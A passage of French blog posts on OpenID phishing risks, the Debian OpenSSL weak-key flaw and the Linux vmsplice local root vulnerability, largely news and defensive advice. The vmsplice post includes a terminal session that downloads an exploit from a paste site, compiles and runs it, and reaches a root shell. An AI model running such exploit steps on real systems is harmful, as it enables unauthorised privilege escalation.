OpenID, usages et risques

Je me penche aujourd’hui sur le protocole ouvert de SSO qu’est OpenID ; présentation de la chose, explications pour la création de compte et problèmes de sécurité posés par le protocole.

Logo OpenID

Qu’est-ce qu’OpenID ?

Le but est de pouvoir se connecter à plusieurs sites indépendants les uns des autres sans avoir à créer un nouveau compte pour chacun, mais en utilisant au contraire un seul et même compte centralisé sur un serveur OpenID. Concrètement, il faut créer un compte sur un serveur d’authentification OpenID en fournissant plusieurs informations et on obtient une adresse du style http://utilisateur.serveur-openid.tld. On peut ensuite se rendre sur un site qui prend en charge OpenID et s’identifier grâce à cette adresse.
L’identification est plutôt simple (mais, comme on le verra ensuite, il faut y prêter attention car elle peut facilement être détournée par un pirate) ;

  1. L’utilisateur rentre son URI dans le champ prévu,
  2. Il est redirigé vers une page de son serveur OpenID pour qu’il s’identifie, s’il ne l’est pas déjà,
  3. Le serveur lui demande quel profil il veut appliquer pour le site qui l’envoi si c’est la première fois que l’utilisateur s’y connecte,
  4. L’utilisateur est redirigé vers le site de départ, qui récupère alors les infos.

Obtenir un(e) URI OpenID

Certains sites internet font aussi office de serveur OpenID, comme Wordpress.com, Orange, Blogger ou encore AOL, vous avez donc peut-être déjà sans le savoir un(e) URI (liste complète). Il est aussi possible de créer un compte chez des fournisseurs d’adresses OpenID qui ne font que ça. Le site officiel d’OpenID en recense 5 à l’heure actuelle, j’utilise personnellement myOpenID. Ce dernier a le mérite d’être simple et de proposer quelques parades aux risques de phising évoqués après. L’inscription ne requiert qu’un nom d’utilisateur et un mot de passe, bien qu’il soit possible de donner plus d’infos. Il est aussi possible de créer assez facilement des profils, de sorte que lorsque vous vous connecterez grâce à votre adresse OpenID à un site, vous pourrez choisir tel ou tel profil en fonction des informations que vous voulez fournir au site. Après l’inscription, on obtient son URI, dans mon cas : http://Nicoz.myopenid.com/.
À noter que l’adresse qui vous sert de login redirige aussi vers une page d’identité, en clair, quand vous la tapez dans un navigateur, vous arrivez sur une page personnalisable avec des informations sur le possesseur de l’OpenID.

Quels sites supportent OpenID ?

MyOpenID (le serveur OpenID présenté au-dessus, si vous avez suivi ;) ), de même que le site officiel d’OpenID, propose un annuaire de sites qui prennent en charge OpenID (l’annuaire d’OpenID.net et l’annuaire de MyOpenID). Il ne faut pas se voiler la face, OpenID n’en est qu’à ses débuts et la majorité des sites qui le supportent sont anglophone. On retrouve cependant de plus en plus de sites francophones, parmi ceux-ci le site de memup, une marque française qui vend des disques durs externes et divers périphériques de stockage, ou encore WikiTravel, un guide de voyage libre (via cette page).
En fait, dès que vous verrez le petit logo OpenID, vous pourrez vous connecter ; il n’est pas impossible que ce blog propose bientôt ce mode de connexion.

Et la sécurité dans tout ça ?

Ah la sécurité… En fait, c’est là que le bât blesse. Le risque le plus important est le phising. Reprenons la procédure du début, c’est ce qui se passe quand tout le monde est gentil. Imaginons maintenant que le site qui vous propose une identification par OpenID soit le site d’un pirate, ça donnerait quelque chose comme ça :

  1. L’utilisateur rentre son URI dans le champ prévu,
  2. Il est redirigé vers une page qui imite celle de son serveur OpenID pour que le pirate récupère ses identifiants,
  3. Le serveur lui demande quel profil il veut appliquer pour le site qui l’envoi si c’est la première fois que l’utilisateur s’y connecte,
  4. L’utilisateur est redirigé vers le site de départ, qui récupère alors les infos.

Résultat des courses, le pirate est en possession des identifiants. Un phising en bonne et due forme. Heureusement pour nous, MyOpenID propose l’identification par certificat. En plus de ça, il est possible d’afficher une « image personnelle », qui permettrait éventuellement de se rendre compte d’un phising. Le risque est donc bien canalisé (l’utilisation de certificat est une parade sûre), mais il demeure tout de même présent.
On peut aussi se méfier des attaques XSS. Il est vrai qu’elles sont, de nos jours, bien connues, et donc que les webmasters ont peu de mal à les traquer, mais je considère que la meilleure solution reste d’installer l’extension NoScript.
En clair, ce n’est pas un protocole parfait au niveau de la sécurité, mais si on fait un peu attention, on peut considérer OpenID comme quelque chose de sûr.

« Chosen by fair dice roll. Guaranteed to be random. »

Il y a quelques jours, la révélation d’une faille de sécurité critique concernant le paquet openssl de Debian (et dérivés) a jeté un froid sur la banquise linuxienne. Un mainteneur Debian, qui pensait corriger des avertissements signalés par le logiciel Valgrind, a un peu modifié la partie du code concernant la génération des nombres pseudo-aléatoires. Le hic, c’est qu’après la manip, les nombres n’étaient pas ce qu’on peut qualifier d’aléatoires. Or c’est bien d’un système proche de l’aléatoire que l’on a besoin pour la génération de clés ; la modification du code a entraîné une énorme restrictions des clés possibles (seulement 250 000 clés possibles, selon linuxfr). Autre point étonnant, la faille existe depuis 2006, donc toutes les clés et les certificats générés sur la distribution Debian ou ses dérivés (Ubuntu, pour ne citer qu’elle) depuis cette date ne sont pas sûrs ! Il ne suffit pas de mettre à jour le paquet openssl (le correctif a d’ailleurs été très rapidement disponible), il faut changer les clés. C’est là que la faille est vicieuse (et sort de l’ordinaire) : la mise à jour ne suffit pas.

→ Il faut remplacer les clés RSA générées avec la version d’openssh non sûre et les clés DSA utilisées avec un système Debian ou dérivé qui utilisait la version incriminée (même si j’espère que c’est déjà fait, vu mon temps de réaction ;) ).

Le trou de sécurité a été révélé le 13 mai, et il ne cesse de faire parler de lui dans les forums, sur les blogs, et dans les listes de diffusions. Il y a une raison à cela ; la faille (qui a vécu 2 ans !) est extrêmement grave, elle met directement en péril la sécurité d’une distribution réputée qui équipe bon nombre de serveurs. De plus, la mise à jour ne suffit pas à la combler. C’est une affaire bien sombre qui a secoué la blogosphère libre ces derniers jours, mais qui n’empêche pas de rigoler : terminons ce billet sur une note d’humour, mieux vaut en rire qu’en pleurer !

debian-entropie
security_holes
dilbert

Faille dans le noyau Linux.

Une importante faille de sécurité à été découverte dans le noyau Linux, le vendredi 8 février. Elle permet à un simple utilisateur d’obtenir les privilèges root en exploitant l’appel système splice(). Cette faille concerne les versions 2.6.17 à 2.6.24.1 du noyau.

La faille

L’appel systèmes vmsplice() a été introduit dans la version 2.6.17 du noyau, il permet d’échanger des données entre deux descripteurs de fichiers. La faille provient de l’absence de vérification des paramètres envoyés aux fonctions vmsplice_to_user(), copy_from_user_mmap_sem() et get_iovec_page_array() de fs/splice.c.

Cette faille permet à un utilisateur local d’obtenir les privilèges root, comme le montre ce proof of concept :

nicoz@ForteresseDigitale:~$ wget http://paste.ubuntu-nl.org/55587/plain/ -O vmsplice_exploit.c
--13:58:10-- http://paste.ubuntu-nl.org/55587/plain/
=> `vmsplice_exploit.c'
Résolution de paste.ubuntu-nl.org... 81.171.100.21
Connexion vers paste.ubuntu-nl.org|81.171.100.21|:80... connecté.
requête HTTP transmise, en attente de la réponse... 200 OK
Longueur: non spécifié [text/plain]

[ <=> ] 7 336 --.--K/s

13:58:10 (61.63 KB/s) - « vmsplice_exploit.c » sauvegardé [7336]

nicoz@ForteresseDigitale:~$ gcc -o vmsplice_exploit vmsplice_exploit.c
nicoz@ForteresseDigitale:~$ ./vmsplice_exploit
-----------------------------------
Linux vmsplice Local Root Exploit
-----------------------------------
[+] mmap: 0x0 .. 0x1000
[+] page: 0x0
[+] page: 0x20
[+] mmap: 0x4000 .. 0x5000
[+] page: 0x4000
[+] page: 0x4020
[+] mmap: 0x1000 .. 0x2000
[+] page: 0x1000
[+] mmap: 0xb7e13000 .. 0xb7e45000
[+] root
root@ForteresseDigitale:~#

Réactions

La version 2.6.24.2, qui corrige cette faille, a été publiée le dimanche 10 février. La première distribution Linux à fixer ce bug a été Debian, le 11 février à 13H58. DistroWatch propose un tableau récapitulant le temps de réaction des distributions ;

Distribution Date / Heure Délais Référence
Debian GNU/Linux 11-02-2008 13:58 +0 heure DSA 1494-1
Fedora 11-02-2008 22:39 +8 heures FEDORA-2008-1423
Slackware Linux 12-02-2008 02:00 +12 heures SSA:2008-042-01
Mandriva Linux 12-02-2008 07:06 +19 heures MDVSA-2008:043
Frugalware Linux 12-02-2008 11:17 +21 heures FSA-369
openSUSE 12-02-2008 12:43 +23 heures SUSE-SA:2008:007
rPath Linux 12-02-2008 16:28 +26 heures rPSA-2008-0052-1
Red Hat Enterprise Linux 12-02-2008 16:54 +27 heures RHSA-2008:0129-01
Ubuntu 12-02-2008 17:23 +27 heures USN-577-1
CentOS 13-02-2008 03:27 +37 heures CESA-2008:012

On remarque que la correction du bug a été rapide, à la hauteur du danger que représentait cette faille.

Pour en savoir plus ;